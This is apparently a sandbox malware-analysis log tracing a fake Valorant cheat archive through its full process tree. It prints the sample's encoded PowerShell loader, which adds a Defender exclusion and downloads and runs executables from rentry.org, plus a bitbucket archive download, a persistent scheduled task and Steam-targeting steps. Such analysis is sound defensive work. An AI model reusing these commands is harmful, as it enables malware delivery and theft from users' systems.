PID 2724 wrote to memory of 1388	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 1388	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 1388	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 1388	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 1388	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 1388	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 1388	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 1388	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 1388	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 1388	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 1388	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 1388	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 1388	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 1388	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 1388	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 1388	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 1388	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 1388	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 1388	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 1388	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 1388	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 1388	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 1388	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 1388	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 1388	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 1388	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 1860	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 1860	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 4364	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 4364	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 4364	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 4364	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 4364	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 4364	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 4364	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 4364	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 4364	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 4364	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 4364	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 4364	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 4364	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 4364	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 4364	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 4364	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 4364	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 4364	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 4364	2724	msedge.exe	msedge.exe
PID 2724 wrote to memory of 4364	2724	msedge.exe	msedge.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:620

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:392

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:416

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:400

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1048

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1100

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1164

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1172

C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
2⤵
PID:2836

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1248

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1284

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1436

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:2684

C:\Windows\SysWOW64\openwith.exe
"C:\Windows\system32\openwith.exe"
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:5500

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1448

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1460

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1500

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1684

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1700

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1768

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1808

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1852

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:2028

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:2036

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1204

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1760

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2064

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2100

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2216

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2328

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2544

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2696

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
PID:2784

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2828

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2872

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2904

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2924

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2936

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3192

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3468

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3528

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://github.com/SISNEST/Valorant/blob/main/ZWHAX.7z
2⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2724

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa94c146f8,0x7ffa94c14708,0x7ffa94c14718
3⤵
PID:3496

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2108,6544913864178135394,14558859879159914441,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2120 /prefetch:2
3⤵
PID:1388

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2108,6544913864178135394,14558859879159914441,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2188 /prefetch:3
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:1860

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2108,6544913864178135394,14558859879159914441,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2684 /prefetch:8
3⤵
PID:4364

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,6544913864178135394,14558859879159914441,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3348 /prefetch:1
3⤵
PID:736

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,6544913864178135394,14558859879159914441,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3360 /prefetch:1
3⤵
PID:3268

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2108,6544913864178135394,14558859879159914441,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5772 /prefetch:8
3⤵
PID:2316

C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2108,6544913864178135394,14558859879159914441,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5772 /prefetch:8
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:3048

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2108,6544913864178135394,14558859879159914441,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5332 /prefetch:8
3⤵
PID:1088

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,6544913864178135394,14558859879159914441,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4792 /prefetch:1
3⤵
PID:1576

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2108,6544913864178135394,14558859879159914441,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5800 /prefetch:8
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:4328

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,6544913864178135394,14558859879159914441,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6152 /prefetch:1
3⤵
PID:3632

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,6544913864178135394,14558859879159914441,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4784 /prefetch:1
3⤵
PID:3644

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,6544913864178135394,14558859879159914441,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3748 /prefetch:1
3⤵
PID:232

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,6544913864178135394,14558859879159914441,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3120 /prefetch:1
3⤵
PID:808

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2108,6544913864178135394,14558859879159914441,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5380 /prefetch:2
3⤵
PID:6280

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\ZWHAX\" -ad -an -ai#7zMap17724:70:7zEvent23647
2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3080

C:\Users\Admin\Downloads\ZWHAX\ZWHAX\ZWHax.exe
"C:\Users\Admin\Downloads\ZWHAX\ZWHAX\ZWHax.exe"
2⤵
- Checks computer location settings
- Executes dropped EXE
PID:3136

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAbAB3ACMAPgBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAIgBBAGQAZAAtAFQAeQBwAGUAIAAtAEEAcwBzAGUAbQBiAGwAeQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsAPAAjAGEAdAByACMAPgBbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAE0AZQBzAHMAYQBnAGUAQgBvAHgAXQA6ADoAUwBoAG8AdwAoACcARQByAHIAbwByACAAIwA4ADEAOQA6ACAAQwBhAG4AbgBvAHQAIABzAHQAYQByAHQAIABkAHUAZQAgAHQAbwAgAG0AaQBzAHMAaQBuAGcAIABkAGUAcABlAG4AZABlAG4AYwBpAGUAcwAsACAAcABsAGUAYQBzAGUAIABpAG4AcwB0AGEAbABsACAAYQBsAGwAIAB0AGgAZQAgAGQAZQBwAGUAbgBkAGUAbgBjAGkAZQBzACAAcgBlAHEAdQBpAHIAZQBkAC4AJwAsACcAJwAsACcATwBLACcALAAnAEUAcgByAG8AcgAnACkAPAAjAGIAcQBzACMAPgA7ACIAOwA8ACMAZQBtAHYAIwA+ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgADwAIwB1AGoAZgAjAD4AIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIABAACgAJABlAG4AdgA6AFUAcwBlAHIAUAByAG8AZgBpAGwAZQAsACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgADwAIwB1AHEAbQAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwB3AHcAeAAjAD4AOwAkAHcAYwAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQA7ACQAbABuAGsAIAA9ACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGUAbgB0AHIAeQAuAG8AcgBnAC8AcABhAG4AYwBlAGsANgAxADEAMQAxADEAMQAxADEAMQAxADEAMQAxAC8AcgBhAHcAJwApAC4AUwBwAGwAaQB0ACgAWwBzAHQAcgBpAG4AZwBbAF0AXQAiAGAAcgBgAG4AIgAsACAAWwBTAHQAcgBpAG4AZwBTAHAAbABpAHQATwBwAHQAaQBvAG4AcwBdADoAOgBOAG8AbgBlACkAOwAgACQAZgBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFIAYQBuAGQAbwBtAEYAaQBsAGUATgBhAG0AZQAoACkAOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGwAbgBrAFsAJABpAF0ALAAgADwAIwBtAGMAdAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGoAbQBpACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGkAZwBuACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAoACQAZgBuACAAKwAgACQAaQAuAFQAbwBTAHQAcgBpAG4AZwAoACkAIAArACAAJwAuAGUAeABlACcAKQApACkAIAB9ADwAIwB2AGkAeAAjAD4AOwAgAGYAbwByACAAKAAkAGkAPQAwADsAIAAkAGkAIAAtAGwAdAAgACQAbABuAGsALgBMAGUAbgBnAHQAaAA7ACAAJABpACsAKwApACAAewAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB3AGUAdAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAdgB2AHgAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACgAJABmAG4AIAArACAAJABpAC4AVABvAFMAdAByAGkAbgBnACgAKQAgACsAIAAnAC4AZQB4AGUAJwApACkAIAB9ACAAPAAjAHgAbABpACMAPgA="
3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4328

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-Type -AssemblyName System.Windows.Forms;<#atr#>[System.Windows.Forms.MessageBox]::Show('Error #819: Cannot start due to missing dependencies, please install all the dependencies required.','','OK','Error')<#bqs#>;
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4168

C:\Users\Admin\AppData\Roaming\tnnmcduu.ffx0.exe
"C:\Users\Admin\AppData\Roaming\tnnmcduu.ffx0.exe"
4⤵
- Checks computer location settings
- Executes dropped EXE
PID:3540

C:\Windows\system32\cmd.exe
"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\215E.tmp\215F.tmp\2160.bat C:\Users\Admin\AppData\Roaming\tnnmcduu.ffx0.exe"
5⤵
PID:3672

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
6⤵
PID:4800

C:\Windows\system32\chcp.com
chcp 1251
6⤵
PID:2412

C:\Windows\system32\findstr.exe
findstr /c:"127.0.0.1 store.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
6⤵
PID:5172

C:\Windows\system32\findstr.exe
findstr /c:"127.0.0.1 steamcommunity.com" "C:\Windows\System32\drivers\etc\hosts"
6⤵
PID:5200

C:\Windows\system32\findstr.exe
findstr /c:"127.0.0.1 help.steampowered.com" "C:\Windows\System32\drivers\etc\hosts"
6⤵
PID:5224

C:\Windows\system32\schtasks.exe
schtasks /query /tn "MyBatchScript"
6⤵
PID:5256

C:\Windows\system32\schtasks.exe
schtasks /create /tn "MyBatchScript" /tr "\"C:\Users\Admin\AppData\Roaming\runHidden.vbs\"" /sc onlogon /rl highest /f
6⤵
- Scheduled Task/Job: Scheduled Task
PID:5272

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
6⤵
PID:5292

C:\Windows\system32\reg.exe
reg query "HKCU\SOFTWARE\Valve\Steam" /v SteamPath
7⤵
PID:5308

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
6⤵
PID:5324

C:\Windows\system32\reg.exe
reg query "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" /v Desktop
7⤵
PID:5340

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://bitbucket.org/k34gk349g34g3/56j56j5j56j/raw/0f83a68fcbec53d90c5d0c17a582d7652b840e57/pan.rar', 'C:\Users\Admin\AppData\Local\Temp\downloaded_archive.rar')"
6⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5352

C:\Windows\system32\tasklist.exe
tasklist
6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:5544

C:\Windows\system32\find.exe
find /i "tf_win64.exe"
6⤵
PID:1912

C:\Windows\system32\taskkill.exe
taskkill /f /im tf_win64.exe
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2392

C:\Windows\system32\tasklist.exe
tasklist
6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:2324

C:\Windows\system32\find.exe
find /i "dota2.exe"
6⤵
PID:2588

C:\Windows\system32\taskkill.exe
taskkill /f /im dota2.exe
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5968

C:\Windows\system32\tasklist.exe
tasklist
6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:5876

C:\Windows\system32\find.exe
find /i "cs2.exe"
6⤵
PID:5740

C:\Windows\system32\taskkill.exe
taskkill /f /im cs2.exe
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:6068

C:\Windows\system32\tasklist.exe
tasklist
6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:6136

C:\Windows\system32\find.exe
find /i "RustClient.exe"
6⤵
PID:6140

C:\Windows\system32\taskkill.exe
taskkill /f /im RustClient.exe
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5860

C:\Windows\system32\tasklist.exe
tasklist
6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:5592

C:\Windows\system32\find.exe
find /i "GTA5.exe"
6⤵
PID:4228

C:\Windows\system32\taskkill.exe
taskkill /f /im GTA5.exe
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5376

C:\Windows\system32\tasklist.exe
tasklist
6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:5424

C:\Windows\system32\find.exe
find /i "TslGame.exe"
6⤵
PID:5448

C:\Windows\system32\taskkill.exe
taskkill /f /im TslGame.exe
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5472

C:\Windows\system32\tasklist.exe
tasklist
6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:5676

C:\Windows\system32\find.exe
find /i "RainbowSix.exe"
6⤵
PID:5712

C:\Windows\system32\taskkill.exe
taskkill /f /im RainbowSix.exe
6⤵
- Kills process with taskkill
PID:6116

C:\Windows\system32\timeout.exe
timeout /t 3
6⤵
PID:5632

C:\Windows\system32\tasklist.exe
tasklist
6⤵
- Enumerates processes with tasklist
PID:5796

C:\Windows\system32\find.exe
find /i "steam.exe"
6⤵
PID:1736

C:\Windows\system32\taskkill.exe
taskkill /f /im steam.exe
6⤵
- Kills process with taskkill
PID:5380

C:\Windows\system32\timeout.exe
timeout /t 3
6⤵
PID:5452

C:\Windows\system32\tar.exe
tar -xf "C:\Users\Admin\AppData\Local\Temp\downloaded_archive.rar" -C ""
6⤵
PID:6976

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:7024

C:\Windows\System32\Wbem\WMIC.exe
wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId
7⤵
PID:7092

C:\Windows\system32\findstr.exe
findstr /r /v "^$"
7⤵
PID:7100

C:\Windows\system32\timeout.exe
timeout /t 1
6⤵
PID:696

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c wmic process where "ExecutablePath='C:\Program Files (x86)\Steam\steeam.exe'" get ProcessId | findstr /r /v "^$"
6⤵
PID:6368

